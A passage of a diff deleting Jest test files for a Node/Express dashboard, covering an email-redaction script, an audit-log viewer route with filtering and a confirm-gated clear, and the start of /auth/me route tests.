||||||
|
|
||||||
const after = fs.readFileSync(f, 'utf8');
|
|
||||||
expect(after).toContain('ja****@example.com');
|
|
||||||
expect(after).not.toContain('jane.doe@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('second run is a no-op (idempotent, byte-identical, no rewrite)', () => {
|
|
||||||
const dir = fs.mkdtempSync(path.join(tmpRoot, 'case2-'));
|
|
||||||
const f = path.join(dir, 'error.log');
|
|
||||||
fs.writeFileSync(f, 'x sami@example.com y\n');
|
|
||||||
run([f]);
|
|
||||||
const after1 = fs.readFileSync(f, 'utf8');
|
|
||||||
const mtime1 = fs.statSync(f).mtimeMs;
|
|
||||||
|
|
||||||
const out = run([f]);
|
|
||||||
expect(out).toContain('clean (nothing to redact)');
|
|
||||||
expect(fs.readFileSync(f, 'utf8')).toBe(after1);
|
|
||||||
expect(fs.statSync(f).mtimeMs).toBe(mtime1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('clean file untouched (content + mtime preserved)', () => {
|
|
||||||
const dir = fs.mkdtempSync(path.join(tmpRoot, 'case3-'));
|
|
||||||
const f = path.join(dir, 'error.log');
|
|
||||||
fs.writeFileSync(f, 'no addresses here\n');
|
|
||||||
const mtime0 = fs.statSync(f).mtimeMs;
|
|
||||||
|
|
||||||
const out = run([f]);
|
|
||||||
expect(out).toContain('clean (nothing to redact)');
|
|
||||||
expect(fs.readFileSync(f, 'utf8')).toBe('no addresses here\n');
|
|
||||||
expect(fs.statSync(f).mtimeMs).toBe(mtime0);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('--dry-run reports the hit but changes nothing on disk', () => {
|
|
||||||
const dir = fs.mkdtempSync(path.join(tmpRoot, 'case4-'));
|
|
||||||
const f = path.join(dir, 'error.log');
|
|
||||||
const original = 'user kofi@example.org\n';
|
|
||||||
fs.writeFileSync(f, original);
|
|
||||||
const mtime0 = fs.statSync(f).mtimeMs;
|
|
||||||
|
|
||||||
const out = run(['--dry-run', f]);
|
|
||||||
expect(out).toContain('would redact: ');
|
|
||||||
expect(fs.readFileSync(f, 'utf8')).toBe(original);
|
|
||||||
expect(fs.statSync(f).mtimeMs).toBe(mtime0);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('--keep-raw writes <file>.raw-<epoch> alongside the redacted file', () => {
|
|
||||||
const dir = fs.mkdtempSync(path.join(tmpRoot, 'case5-'));
|
|
||||||
const f = path.join(dir, 'error.log');
|
|
||||||
fs.writeFileSync(f, 'raw op@example.net\n');
|
|
||||||
|
|
||||||
run(['--keep-raw', f]);
|
|
||||||
const files = fs.readdirSync(dir);
|
|
||||||
const rawCopy = files.find((x) => /^error\.log\.raw-\d+$/.test(x));
|
|
||||||
expect(rawCopy).toBeDefined();
|
|
||||||
expect(fs.readFileSync(path.join(dir, rawCopy), 'utf8')).toContain(
|
|
||||||
'op@example.net'
|
|
||||||
);
|
|
||||||
expect(fs.readFileSync(f, 'utf8')).toContain('o****@example.net');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('directory walk skips node_modules/.git/coverage/__tests__/dist/build', () => {
|
|
||||||
const dir = fs.mkdtempSync(path.join(tmpRoot, 'case6-'));
|
|
||||||
fs.writeFileSync(path.join(dir, 'error.log'), 'a b@example.com\n');
|
|
||||||
for (const skip of ['node_modules', '.git', 'coverage', '__tests__', 'dist', 'build']) {
|
|
||||||
fs.mkdirSync(path.join(dir, skip));
|
|
||||||
fs.writeFileSync(path.join(dir, skip, 'secret.log'), 'leak me@example.com\n');
|
|
||||||
}
|
|
||||||
|
|
||||||
const out = run([dir]);
|
|
||||||
expect(out).toContain('redacted: ');
|
|
||||||
expect(out).not.toContain('secret.log');
|
|
||||||
expect(
|
|
||||||
fs.readFileSync(path.join(dir, 'node_modules', 'secret.log'), 'utf8')
|
|
||||||
).toBe('leak me@example.com\n'); // untouched
|
|
||||||
expect(fs.readFileSync(path.join(dir, 'error.log'), 'utf8')).toContain(
|
|
||||||
'b****@example.com'
|
|
||||||
);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-emails (root@hostname, image@sha256, numeric TLD) pass through', () => {
|
|
||||||
const dir = fs.mkdtempSync(path.join(tmpRoot, 'case7-'));
|
|
||||||
const f = path.join(dir, 'error.log');
|
|
||||||
const content = 'root@web-1 pulled image@sha256:abcd pkg@1.2.3 done\n';
|
|
||||||
fs.writeFileSync(f, content);
|
|
||||||
|
|
||||||
const out = [f].length && run([f]);
|
|
||||||
expect(out).toContain('clean (nothing to redact)');
|
|
||||||
expect(fs.readFileSync(f, 'utf8')).toBe(content);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('missing target reports error and exits 1', () => {
|
|
||||||
const dir = path.join(tmpRoot, 'nope-does-not-exist');
|
|
||||||
let code = 0;
|
|
||||||
let stderr = '';
|
|
||||||
try {
|
|
||||||
execFileSync('node', [SCRIPT, dir], { stdio: ['ignore', 'pipe', 'pipe'] });
|
|
||||||
} catch (e) {
|
|
||||||
code = e.status;
|
|
||||||
stderr = e.stderr ? e.stderr.toString() : '';
|
|
||||||
}
|
|
||||||
expect(code).toBe(1);
|
|
||||||
expect(stderr).toContain('error:');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-109 quoted local-part mask edge (maskEmailAddress)', () => {
|
|
||||||
test('quoted local-part: quotes stripped, 2 REAL chars kept, no stray quote', () => {
|
|
||||||
expect(maskEmailAddress('"john doe"@example.com')).toBe('jo****@example.com');
|
|
||||||
expect(maskEmailAddress('"a"@example.com')).toBe('a****@example.com');
|
|
||||||
expect(maskEmailAddress('ab"cd@e.f"@example.com')).toBe('ab****@example.com'); // mixed, no strip
|
|
||||||
});
|
|
||||||
|
|
||||||
test('quoted local-part containing "@" splits on LAST @ (real domain boundary)', () => {
|
|
||||||
expect(maskEmailAddress('"a@b"@example.com')).toBe('a@****@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('empty quoted local-part masks to bare ****@domain', () => {
|
|
||||||
expect(maskEmailAddress('""@example.com')).toBe('****@example.com');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('plain addresses unchanged by DC-109 (canonical shape preserved)', () => {
|
|
||||||
expect(maskEmailAddress('sami@example.com')).toBe('sa****@example.com');
|
|
||||||
expect(maskEmailAddress('ab@x.io')).toBe('a****@x.io');
|
|
||||||
expect(maskEmailAddress('a@x.io')).toBe('a****@x.io');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('masked quoted output cannot re-match EMAIL_RE (idempotence on splice line)', () => {
|
|
||||||
const line = 'contact "john.doe@x"@example.com or root@web-1 ok';
|
|
||||||
const masked = maskEmailsInString(line);
|
|
||||||
const re = new RegExp(EMAIL_RE.source, EMAIL_RE.flags);
|
|
||||||
// After one pass nothing that still contains the original address OR a
|
|
||||||
// fresh matchable email-shaped token may remain.
|
|
||||||
expect(masked).not.toContain('john.doe');
|
|
||||||
expect(re.test(masked)).toBe(false);
|
|
||||||
const twice = maskEmailsInString(masked);
|
|
||||||
expect(twice).toBe(masked); // fully idempotent
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,437 +0,0 @@
|
|||||||
/**
|
|
||||||
* Smoke tests for the audit-log viewer route (DC-050).
|
|
||||||
*
|
|
||||||
* Mirrors the caddy-upstreams.routes.test.js pattern: build the router with
|
|
||||||
* stubbed dependencies, hit it via a tiny express app, assert the response
|
|
||||||
* shape and the audit-logger calls.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
|
|
||||||
const FIXTURE_ENTRIES = [
|
|
||||||
{
|
|
||||||
id: 'a1', timestamp: '2026-08-17T10:00:00.000Z', ip: '1.1.1.1',
|
|
||||||
action: 'service.create', resource: 'plex',
|
|
||||||
details: { userId: 'u-1', userEmail: 'admin@sami' }, outcome: 'success',
|
|
||||||
},
|
|
||||||
{
|
|
||||||
id: 'a2', timestamp: '2026-08-17T11:00:00.000Z', ip: '1.1.1.1',
|
|
||||||
action: 'auth.totp-setup', resource: 'u-1',
|
|
||||||
details: { userId: 'u-1', userEmail: 'admin@sami' }, outcome: 'success',
|
|
||||||
},
|
|
||||||
{
|
|
||||||
id: 'a3', timestamp: '2026-08-17T12:00:00.000Z', ip: '2.2.2.2',
|
|
||||||
action: 'auth.api-key-generate', resource: 'unknown',
|
|
||||||
details: { userId: null }, outcome: 'failure',
|
|
||||||
},
|
|
||||||
{
|
|
||||||
id: 'a4', timestamp: '2026-08-17T13:00:00.000Z', ip: '1.1.1.1',
|
|
||||||
action: 'backup.execute', resource: 'all-apps',
|
|
||||||
details: {}, outcome: 'success',
|
|
||||||
},
|
|
||||||
{
|
|
||||||
id: 'a5', timestamp: '2026-08-17T14:00:00.000Z', ip: '3.3.3.3',
|
|
||||||
action: 'caddy.add-site', resource: 'test.sami',
|
|
||||||
details: {}, outcome: 'failure',
|
|
||||||
},
|
|
||||||
];
|
|
||||||
|
|
||||||
function buildFakeAuditLogger(entries = FIXTURE_ENTRIES) {
|
|
||||||
return {
|
|
||||||
query: jest.fn(async ({ limit = 50, offset = 0, action } = {}) => {
|
|
||||||
let e = entries;
|
|
||||||
if (action) e = e.filter((x) => x.action && x.action.startsWith(action));
|
|
||||||
return e.slice(offset, offset + limit);
|
|
||||||
}),
|
|
||||||
clear: jest.fn(async () => {}),
|
|
||||||
// log() is called by the DELETE handler to record `audit.clear` BEFORE
|
|
||||||
// clearing — the act of clearing is itself an audit-worthy event.
|
|
||||||
log: jest.fn(async () => {}),
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('routes/audit-log', () => {
|
|
||||||
function buildRouter(logger) {
|
|
||||||
const mod = require('../../routes/audit-log');
|
|
||||||
return mod({
|
|
||||||
asyncHandler: (fn) => async (req, res, next) => {
|
|
||||||
try { await fn(req, res, next); } catch (e) { next(e); }
|
|
||||||
},
|
|
||||||
auditLogger: logger,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
test('router builds with the expected paths', () => {
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const router = buildRouter(logger);
|
|
||||||
expect(router).toBeDefined();
|
|
||||||
expect(typeof router.use).toBe('function');
|
|
||||||
const paths = router.stack
|
|
||||||
.filter((l) => l.route)
|
|
||||||
.map((l) => Object.keys(l.route.methods).map((m) => `${m.toUpperCase()} ${l.route.path}`))
|
|
||||||
.flat();
|
|
||||||
expect(paths).toEqual(expect.arrayContaining([
|
|
||||||
'GET /audit-logs',
|
|
||||||
'GET /audit-logs/actions',
|
|
||||||
'DELETE /audit-logs',
|
|
||||||
]));
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs returns all entries when no filters', async () => {
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs?limit=10`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
expect(body.entries).toHaveLength(5);
|
|
||||||
expect(body.total).toBe(5);
|
|
||||||
expect(body.hasMore).toBe(false);
|
|
||||||
expect(body.filters).toEqual({ action: null, since: null, until: null, outcome: null });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs respects limit + offset', async () => {
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs?limit=2&offset=0`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.entries).toHaveLength(2);
|
|
||||||
expect(body.entries[0].id).toBe('a1');
|
|
||||||
expect(body.hasMore).toBe(true);
|
|
||||||
|
|
||||||
const server2 = app.listen(0);
|
|
||||||
const { port: port2 } = server2.address();
|
|
||||||
const res2 = await fetch(`http://127.0.0.1:${port2}/audit-logs?limit=2&offset=4`);
|
|
||||||
const body2 = await res2.json();
|
|
||||||
server2.close();
|
|
||||||
expect(body2.entries).toHaveLength(1);
|
|
||||||
expect(body2.entries[0].id).toBe('a5');
|
|
||||||
expect(body2.hasMore).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs?action=auth filters server-side via auditLogger.query', async () => {
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs?action=auth`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(body.entries).toHaveLength(2);
|
|
||||||
expect(body.entries.every((e) => e.action.startsWith('auth'))).toBe(true);
|
|
||||||
// The action filter MUST be pushed down to the audit-logger so we don't
|
|
||||||
// load the full 1000-entry store when the operator filters by category.
|
|
||||||
expect(logger.query).toHaveBeenCalledWith(expect.objectContaining({ action: 'auth' }));
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs rejects unknown action prefix with 400', async () => {
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs?action=pwnz`);
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
const body = await res.json();
|
|
||||||
expect(body.success).toBe(false);
|
|
||||||
expect(body.error).toMatch(/action must be one of/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs filters by since (date >= since)', async () => {
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs?since=2026-08-17T13:00:00.000Z`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.entries).toHaveLength(2); // a4 + a5
|
|
||||||
expect(body.entries.map((e) => e.id)).toEqual(['a4', 'a5']);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs filters by outcome=failure', async () => {
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs?outcome=failure`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.entries).toHaveLength(2); // a3 + a5
|
|
||||||
expect(body.entries.every((e) => e.outcome === 'failure')).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs rejects since > until with 400', async () => {
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs?since=2026-08-17T20:00:00Z&until=2026-08-17T10:00:00Z`);
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
const body = await res.json();
|
|
||||||
expect(body.success).toBe(false);
|
|
||||||
expect(body.error).toMatch(/since must be <= until/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs rejects malformed ISO 8601 with 400', async () => {
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs?since=not-a-date`);
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
const body = await res.json();
|
|
||||||
expect(body.error).toMatch(/since must be ISO 8601/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs caps limit at 500 (no DoS via huge page)', async () => {
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs?limit=99999`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.limit).toBe(500);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs/actions returns distinct action prefixes', async () => {
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs/actions`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
expect(body.prefixes).toEqual(['auth', 'backup', 'caddy', 'service']);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DELETE /audit-logs requires confirm=CLEAR body', async () => {
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs`, {
|
|
||||||
method: 'DELETE',
|
|
||||||
headers: { 'content-type': 'application/json' },
|
|
||||||
body: '{}',
|
|
||||||
});
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(body.success).toBe(false);
|
|
||||||
expect(body.error).toMatch(/confirm: "CLEAR"/);
|
|
||||||
expect(logger.clear).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DELETE /audit-logs with confirm=CLEAR calls auditLogger.clear()', async () => {
|
|
||||||
const logger = buildFakeAuditFixtureSafe();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs`, {
|
|
||||||
method: 'DELETE',
|
|
||||||
headers: { 'content-type': 'application/json' },
|
|
||||||
body: JSON.stringify({ confirm: 'CLEAR' }),
|
|
||||||
});
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(body.cleared).toBe(true);
|
|
||||||
expect(logger.clear).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('module.exports throws when auditLogger is missing query()', () => {
|
|
||||||
const mod = require('../../routes/audit-log');
|
|
||||||
expect(() => mod({ asyncHandler: (fn) => fn, auditLogger: {} }))
|
|
||||||
.toThrow(/auditLogger with query/);
|
|
||||||
});
|
|
||||||
|
|
||||||
// ── GLM round-1 defect regressions ───────────────────────────────────────
|
|
||||||
|
|
||||||
test('GET /audit-logs does NOT amputate the store when limit*5 < MAX_ENTRIES (cap-truncation fix)', async () => {
|
|
||||||
// Round-1 [HIGH]: route previously fetched `limit * 5` entries from
|
|
||||||
// the store and computed total/hasMore over that truncated slice.
|
|
||||||
// With MAX_ENTRIES=1000 and limit=50, the cap was 250 — silently
|
|
||||||
// hiding entries 251-1000. The fix fetches the full store (1000).
|
|
||||||
const entries = Array.from({ length: 1000 }, (_, i) => ({
|
|
||||||
id: `bulk-${i}`,
|
|
||||||
timestamp: new Date(Date.parse('2026-08-17T00:00:00Z') + i * 1000).toISOString(),
|
|
||||||
ip: '9.9.9.9',
|
|
||||||
action: 'service.create',
|
|
||||||
resource: `svc-${i}`,
|
|
||||||
details: {},
|
|
||||||
outcome: i % 3 === 0 ? 'failure' : 'success',
|
|
||||||
}));
|
|
||||||
const logger = buildFakeAuditLogger(entries);
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs?limit=50&offset=200`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.total).toBe(1000); // full store, not 250
|
|
||||||
expect(body.hasMore).toBe(true); // still more after offset 200
|
|
||||||
expect(body.truncated).toBe(true); // signal that store was at cap
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs compares ISO timestamps numerically (lexicographic compare fix)', async () => {
|
|
||||||
// Round-1 [MEDIUM]: '10:00:00.000Z' < '10:00:00Z' is false lexicographically
|
|
||||||
// (the latter is a strict substring, breaking `>=`). Fix: use Date.parse().
|
|
||||||
const fixedEntries = [
|
|
||||||
{ id: 'b1', timestamp: '2026-08-17T10:00:00.000Z', ip: '', action: 'service.create', resource: '', details: {}, outcome: 'success' },
|
|
||||||
{ id: 'b2', timestamp: '2026-08-17T12:00:00.000Z', ip: '', action: 'service.create', resource: '', details: {}, outcome: 'success' },
|
|
||||||
];
|
|
||||||
const logger = buildFakeAuditLogger(fixedEntries);
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
// Same instant as b1 in a different ISO format — must be included.
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs?since=2026-08-17T10:00:00Z`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.total).toBe(2);
|
|
||||||
expect(body.entries.map((e) => e.id)).toEqual(['b1', 'b2']);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs accepts ISO with positive UTC offset (numeric compare fix)', async () => {
|
|
||||||
const fixedEntries = [
|
|
||||||
{ id: 'c1', timestamp: '2026-08-17T10:00:00.000Z', ip: '', action: 'service.create', resource: '', details: {}, outcome: 'success' },
|
|
||||||
{ id: 'c2', timestamp: '2026-08-17T11:00:00.000Z', ip: '', action: 'service.create', resource: '', details: {}, outcome: 'success' },
|
|
||||||
{ id: 'c3', timestamp: '2026-08-17T12:00:00.000Z', ip: '', action: 'service.create', resource: '', details: {}, outcome: 'success' },
|
|
||||||
];
|
|
||||||
const logger = buildFakeAuditLogger(fixedEntries);
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
// 11:00+02:00 = 09:00Z. Filter for entries AFTER 09:00Z. Expect c1 + c2 + c3.
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs?since=2026-08-17T11:00:00%2B02:00`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.total).toBe(3);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /audit-logs/actions only surfaces whitelisted prefixes', async () => {
|
|
||||||
// Round-1 [LOW]: dropdown advertised prefixes (e.g. `logs`, `events`)
|
|
||||||
// that GET /audit-logs?action=logs would then 400. Fix: intersect with
|
|
||||||
// the whitelist before returning.
|
|
||||||
const mixedEntries = [
|
|
||||||
{ id: 'd1', timestamp: '2026-08-17T10:00:00Z', ip: '', action: 'service.create', resource: '', details: {}, outcome: 'success' },
|
|
||||||
{ id: 'd2', timestamp: '2026-08-17T10:01:00Z', ip: '', action: 'logs.something', resource: '', details: {}, outcome: 'success' },
|
|
||||||
{ id: 'd3', timestamp: '2026-08-17T10:02:00Z', ip: '', action: 'events.publish', resource: '', details: {}, outcome: 'success' },
|
|
||||||
];
|
|
||||||
const logger = buildFakeAuditLogger(mixedEntries);
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs/actions`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.prefixes).toEqual(['service']); // logs/events filtered out
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DELETE /audit-logs writes audit.clear BEFORE AND AFTER clear() — re-injection preserves the forensic breadcrumb', async () => {
|
|
||||||
// GLM round-2 [MEDIUM]: a naive "log before clear()" self-erases —
|
|
||||||
// clear() wipes the entry that was just written. Fix: log before
|
|
||||||
// clear() (catches any failure path), then clear(), then log AGAIN
|
|
||||||
// so the entry survives as the single row visible to the viewer.
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs`, {
|
|
||||||
method: 'DELETE',
|
|
||||||
headers: { 'content-type': 'application/json' },
|
|
||||||
body: JSON.stringify({ confirm: 'CLEAR' }),
|
|
||||||
});
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
// log() runs TWICE — once before clear (catches failure paths) and
|
|
||||||
// once after clear (re-injects the forensic breadcrumb).
|
|
||||||
expect(logger.log).toHaveBeenCalledTimes(2);
|
|
||||||
expect(logger.log).toHaveBeenNthCalledWith(1, expect.objectContaining({
|
|
||||||
action: 'audit.clear',
|
|
||||||
resource: 'audit-log.json',
|
|
||||||
outcome: 'success',
|
|
||||||
}));
|
|
||||||
expect(logger.log).toHaveBeenNthCalledWith(2, expect.objectContaining({
|
|
||||||
action: 'audit.clear',
|
|
||||||
resource: 'audit-log.json',
|
|
||||||
outcome: 'success',
|
|
||||||
}));
|
|
||||||
// Ordering: log → clear → log (second log runs AFTER clear).
|
|
||||||
const logOrders = logger.log.mock.invocationCallOrder;
|
|
||||||
const clearOrder = logger.clear.mock.invocationCallOrder[0];
|
|
||||||
expect(logOrders[0]).toBeLessThan(clearOrder);
|
|
||||||
expect(logOrders[1]).toBeGreaterThan(clearOrder);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DELETE /audit-logs still calls clear() even if auditLogger.log() throws', async () => {
|
|
||||||
// A failing audit-log write must NOT block the operator's clear.
|
|
||||||
const logger = buildFakeAuditLogger();
|
|
||||||
logger.log.mockRejectedValueOnce(new Error('disk full'));
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(buildRouter(logger));
|
|
||||||
const server = app.listen(0);
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/audit-logs`, {
|
|
||||||
method: 'DELETE',
|
|
||||||
headers: { 'content-type': 'application/json' },
|
|
||||||
body: JSON.stringify({ confirm: 'CLEAR' }),
|
|
||||||
});
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(logger.clear).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// Tiny helper — separated so the second clear test has a fresh mock.
|
|
||||||
function buildFakeAuditFixtureSafe() {
|
|
||||||
return buildFakeAuditLogger();
|
|
||||||
}
|
|
||||||
@@ -1,159 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-093: /api/v1/auth/me must ALWAYS exist.
|
|
||||||
*
|
|
||||||
* Regression guard for the single-user-install 404 storm: the frontend
|
|
||||||
* admin panel (status/js/admin.js attachTrigger) polls /api/v1/auth/me on
|
|
||||||
* every dashboard load and re-probes every 60s while unauthenticated.
|
|
||||||
* The /me handler used to live exclusively in the DC-048 admin router,
|
|
||||||
* which is only mounted when email auth (multi-user) is enabled — so every
|
|
||||||
* single-user install answered 404 and the API logged a full ERROR +
|
|
||||||
* stack trace once per minute per open browser tab.
|
|
||||||
*
|
|
||||||
* These tests verify the routes/auth/index.js factory (the full aggregator,
|
|
||||||
* real sub-routers, stubbed services):
|
|
||||||
* 1. GET /auth/me route EXISTS in single-user mode (no email auth)
|
|
||||||
* 2. single-user response: mode='single', isAdmin=true, legacy=true
|
|
||||||
* 3. multi-user + req.user: mode='multi', stored profile returned
|
|
||||||
* 4. multi-user + legacy session (no req.user): legacy branch
|
|
||||||
* 5. /auth/me is NOT in PUBLIC_ROUTES (session-gated — unauthenticated
|
|
||||||
* probes must 401 at the middleware, never reach the handler)
|
|
||||||
* 6. admin routes (/auth/admin/users) still mounted ONLY in multi-user
|
|
||||||
*/
|
|
||||||
|
|
||||||
describe('DC-093: /auth/me always mounted (routes/auth/index.js)', () => {
|
|
||||||
function makeCtx(siteConfig, dataDir) {
|
|
||||||
return {
|
|
||||||
siteConfig,
|
|
||||||
asyncHandler: (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next),
|
|
||||||
errorResponse: (res, code, msg) => res.status(code).json({ success: false, error: msg }),
|
|
||||||
log: { info() {}, warn() {}, error() {}, debug() {} },
|
|
||||||
